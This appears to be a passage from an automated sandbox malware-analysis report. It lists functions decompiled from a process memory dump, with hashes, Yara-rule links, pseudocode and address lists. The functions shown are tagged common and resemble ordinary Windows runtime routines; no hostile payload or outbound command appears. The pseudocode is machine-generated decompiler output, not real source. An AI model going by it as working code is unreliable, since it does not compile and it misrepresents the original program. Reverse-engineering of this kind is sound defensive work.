Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95b49fa4a2f69284e9d6323880c1fd79d9fd4e52f8726b1c1d6ae81aedc3419
Instruction ID: 81b43965f39cebb80344d78190cb9608e79d30b5fd5fa153ca4c46b1799e53e4
Opcode Fuzzy Hash: c95b49fa4a2f69284e9d6323880c1fd79d9fd4e52f8726b1c1d6ae81aedc3419
Instruction Fuzzy Hash: 5631FF322017509BD721EF54CA88B2ABBA4FB80B14F01492DE8660B355FB71FD00CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0466E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0466E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E04679670() < 0) {
					L0468DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x4727b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L04654620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M0466E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x0466e730
0x0466e736
0x0466e738
0x0466e73d
0x0466e73e
0x0466e740
0x0466e749
0x0466e765
0x0466e76a
0x0466e76b
0x0466e76c
0x0466e76d
0x0466e76e
0x0466e76f
0x0466e775
0x0466e777
0x0466e77e
0x046ab675
0x0466e784
0x0466e784
0x0466e789
0x0466e7a8
0x0466e7ac
0x0466e807
0x0466e7ae
0x0466e7ae
0x0466e7b1
0x0466e7b4
0x0466e7b9
0x0466e7c0
0x0466e7c4
0x0466e7ca
0x0466e7cc
0x00000000
0x0466e7d3
0x0466e7d6
0x00000000
0x00000000
0x0466e7ff
0x0466e802
0x00000000
0x00000000
0x0466e7f9
0x0466e7fc
0x00000000
0x00000000
0x0466e7f3
0x0466e7f6
0x00000000
0x00000000
0x0466e7ed
0x0466e7f0
0x00000000
0x00000000
0x0466e7e7
0x0466e7ea
0x00000000
0x00000000
0x046ab685
0x046ab688
0x00000000
0x00000000
0x046ab682
0x00000000
0x00000000
0x0466e7cc
0x0466e7d9
0x0466e7dc
0x0466e7de
0x0466e7de
0x0466e7ac
0x0466e7e4
0x0466e74b
0x0466e751
0x0466e759
0x0466e761
0x0466e761

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e21b49f6d489d9634e01a63877273acf8f0869da935e18a52eeaa7ac586bbd
Instruction ID: ba1a9af1e9eb4094dfde4fd62b881ed324c74708da041d6f75449014e69f8006
Opcode Fuzzy Hash: a2e21b49f6d489d9634e01a63877273acf8f0869da935e18a52eeaa7ac586bbd
Instruction Fuzzy Hash: 08316F79A14249EFE744CF58D841F96BBE4FB19314F14825AF909CB341E632ED90CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0466BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0466BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x4726100; // 0x48
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E04652280(0xd, 0x163bf1a0);
				_t41 =  *0x47260f8; // 0x0
				if(_t41 != 0) {
					 *0x47260f8 =  *_t41;
					 *0x47260fc =  *0x47260fc + 0xffff;
				}
				E0464FFB0(_t41, 0x800, 0x163bf1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x47260f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L04654620(0x4726100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x4726100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x0466bc36
0x0466bc42
0x0466bc45
0x0466bc4a
0x0466bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x0466bc50
0x0466bc50
0x0466bc58
0x0466bc5a
0x0466bc60
0x00000000
0x00000000
0x046aa4f2
0x046aa4f6
0x00000000
0x00000000
0x00000000
0x046aa4fc
0x0466bc79
0x0466bc7e
0x0466bc86
0x0466bd16
0x0466bd20
0x0466bd20
0x0466bc8d
0x0466bc94
0x0466bcbd
0x0466bcca
0x0466bccb
0x0466bccc
0x0466bccd
0x0466bcce
0x0466bcd4
0x0466bcea
0x0466bcee
0x0466bcf2
0x0466bd00
0x0466bd04
0x00000000
0x0466bc96
0x0466bcab
0x0466bcaf
0x0466bd2c
0x0466bd2c
0x0466bd09
0x00000000
0x0466bd09
0x0466bcb1
0x0466bcb5
0x0466bcbb
0x00000000
0x00000000
0x00000000
0x0466bcbb

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9deec7c51f2d3a15941da8330f6240ba63ee8d61adc4f98c3453f886d709c06
Instruction ID: a13d2364cfec15b4b1d507505e26bca6c5c26db4c2f838df2a7b82b8e21bed9a
Opcode Fuzzy Hash: f9deec7c51f2d3a15941da8330f6240ba63ee8d61adc4f98c3453f886d709c06
Instruction Fuzzy Hash: 2A31FF72600665DBDB21EF58C4C0BA673A4EB18714F14447AED06EF301FA39FE068B84

Uniqueness

Uniqueness Score: -1.00%

Function 04661DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E04661DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E0465F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L04654620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E0465F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x04661dc2
0x04661dc5
0x04661dc7
0x04661dcc
0x04661dce
0x04661dd6
0x04661ddf
0x04661de0
0x04661de1
0x04661de5
0x04661de8
0x04661def
0x04661df0
0x04661df6
0x04661df7
0x04661dfe
0x04661e1a
0x00000000
0x00000000
0x04661e0b
0x04661e12
0x04661e12
0x04661e00
0x04661e00
0x04661e05
0x04661e1e
0x04661e23
0x046a570f
0x046a5713
0x00000000
0x00000000
0x046a5719
0x046a5719
0x04661e2c
0x04661e2d
0x04661e2e
0x04661e2f
0x04661e31
0x04661e32
0x04661e35
0x04661e3d
0x046a5723
0x046a573d
0x046a573d
0x00000000
0x046a5723
0x04661e49
0x04661e4e
0x04661e4e
0x04661e09
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: acf9375123b17ef5d741d88d92a174b512c134377586255a4c41b0aafbd4430b
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: C3219F32640219FFD720CF59CC80EAABBB9EF86745F114055E90297220EA30FE11CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04639100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04639100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x470f6e8);
				E0468D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E047088F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E0468D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x47286c0; // 0xa607b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x47286b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E04652280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E047088F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E0467AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x472b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x47284c0;
										if(_t69 >=  *0x47284c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E04709063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E0463922A(_t82);
							_t53 = E04657D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E04708B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x47286c0; // 0xa607b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x47286b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x47286bc;
										_t72 = 0x47286b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E04639240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x47286c4;
									_t72 = 0x47286c0;
									L18:
									E04669B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x04639100
0x04639100
0x04639100
0x04639100
0x04639102
0x04639107
0x0463910c
0x04639110
0x04639115
0x04639136
0x04639143
0x046937e4
0x046937e4
0x04639149
0x0463914e
0x0463914e
0x04639117
0x0463911d
0x00000000
0x00000000
0x0463911f
0x04639125
0x00000000
0x04639151
0x04639158
0x0463915d
0x04639161
0x04639168
0x04693715
0x00000000
0x0463916e
0x0463916e
0x04639175
0x04639177
0x0463917e
0x0463917f
0x04639182
0x04639182
0x04639187
0x04639187
0x0463918a
0x0463918d
0x0463918f
0x04639192
0x04639195
0x04639198
0x04639198
0x04639198
0x0463919a
0x00000000
0x00000000
0x0469371f
0x04693721
0x04693727
0x0469372f
0x04693733
0x04693735
0x04693738
0x0469373b
0x0469373d
0x04693740
0x00000000
0x00000000
0x04693746
0x04693749
0x00000000
0x00000000
0x0469374f
0x04693751
0x00000000
0x00000000
0x04693757
0x04693759
0x0469375c
0x0469375c
0x0469375e
0x0469375e
0x04693761
0x04693764
0x00000000
0x00000000
0x04693766
0x04693768
0x046937a3
0x046937a3
0x046937a5
0x046937a7
0x046937ad
0x046937b0
0x046937b2
0x046937bc
0x046937c2
0x046937c2
0x046937b2
0x04639187
0x04639187
0x0463918a
0x0463918d
0x0463918f
0x04639192
0x04639195
0x00000000
0x04639195
0x00000000
0x04639187
0x0469376a
0x0469376a
0x0469376c
0x0469376c
0x0469376f
0x04693775
0x00000000
0x00000000
0x04693777
0x04693779
0x00000000
0x00000000
0x04693782
0x04693787
0x04693789
0x04693790
0x04693790
0x0469378b
0x0469378b
0x0469378b
0x04693792
0x04693795
0x04693795
0x04693798
0x04693798
0x0469379b
0x0469379b
0x046391a3
0x046391a9
0x046391b0
0x046391b4
0x046391b4
0x046391bb
0x046391c0
0x046391c5
0x046391c7
0x046937da
0x046391cd
0x046391cd
0x046391cd
0x046391d2
0x046391d5
0x04639239
0x04639239
0x046391d7
0x046391db
0x046391e1
0x046391e7
0x046391fd
0x04639203
0x0463921e
0x04639223
0x00000000
0x04639223
0x04639205
0x04639208
0x0463920c
0x04639214
0x04639214
0x046391e9
0x046391e9
0x046391ee
0x046391f3
0x046391f3
0x046391f3
0x046391e7
0x00000000
0x046391db
0x04639187
0x04639168

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e476535b33fce3a53aa4145c4cd2da6e8c65bd1774aebc4a8e4f32eab89586a2
Instruction ID: fed5a7ca9343395e20216e87b3bfa62d4ca4732543a860a98f5aea0315eedd68
Opcode Fuzzy Hash: e476535b33fce3a53aa4145c4cd2da6e8c65bd1774aebc4a8e4f32eab89586a2
Instruction Fuzzy Hash: A9319CB1A01284DFEB25EF68C588BACB7F1BB58319F158259C40477381E3B5BD888F52

Uniqueness

Uniqueness Score: -1.00%

Function 04650050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E04650050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x472d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E04669ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E0467B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E04708A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E04669702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x472b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x04650055
0x0465005d
0x04650062
0x0465006c
0x0465006f
0x04650074
0x0465007a
0x0465007a
0x04650080
0x04650080
0x04650087
0x0465008d
0x0465008f
0x04650093
0x04650095
0x0465009b
0x046500f8
0x046500fb
0x046500fc
0x046500ff
0x04650108
0x04650108
0x046500a2
0x046500a6
0x046500b3
0x046500bc
0x046500c5
0x046500ca
0x0469c01e
0x00000000
0x00000000
0x0469c02d
0x046500d5
0x046500d9
0x0469c03d
0x0469c046
0x0469c046
0x046500df
0x046500e2
0x046500ea
0x046500ef
0x046500f2
0x046500f6
0x04650111
0x04650117
0x04650117
0x00000000
0x046500f6
0x046500d0
0x046500d0
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ad3c9065a59976a9e9aeb6ef5eb36d15dc3924bff1b59ab769a35fc93debda
Instruction ID: 437b0e6635655cc97f976fb63ffb236f72ee0b2571a40e7b746474818d21c95f
Opcode Fuzzy Hash: e3ad3c9065a59976a9e9aeb6ef5eb36d15dc3924bff1b59ab769a35fc93debda
Instruction Fuzzy Hash: BD314A71601A04DFD725CF28C944B96B3E5FF88718F14856DE99687BA0EA76FC02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 046B6C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E046B6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E04657D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x4727b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L04654620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E0467F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E04657D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E04679AE0();
						_t23 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x046b6c0a
0x046b6c0f
0x046b6c10
0x046b6c13
0x046b6c15
0x046b6c19
0x046b6c1c
0x046b6c21
0x046b6c28
0x046b6c3a
0x046b6c2a
0x046b6c33
0x046b6c33
0x046b6c3f
0x046b6c48
0x046b6c4d
0x046b6c60
0x046b6c65
0x046b6c69
0x046b6c73
0x046b6c79
0x046b6c7f
0x046b6c86
0x046b6c90
0x046b6c94
0x046b6ca6
0x046b6cb2
0x046b6cbd
0x046b6cbd
0x046b6cc3
0x046b6cc7
0x046b6ccb
0x046b6cd0
0x046b6cd1
0x046b6ce2
0x046b6ce2
0x046b6c69
0x046b6ced

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34c7194e4c052f0c637a8875d27f0a8f227e3d50c4fee76a076e1ce8b77d7947
Instruction ID: 6123e1abfd265e0f0b327982b4def6afa7d2fd453c198f788eba9c4e455c6ccd
Opcode Fuzzy Hash: 34c7194e4c052f0c637a8875d27f0a8f227e3d50c4fee76a076e1ce8b77d7947
Instruction Fuzzy Hash: 3821ADB1600644AFD716DB68D940F6AB7B8FF48704F14006AF805C77A1E734ED50CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 046790AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E046790AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E0468D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E0466E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L04654620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E0467F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E0466A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
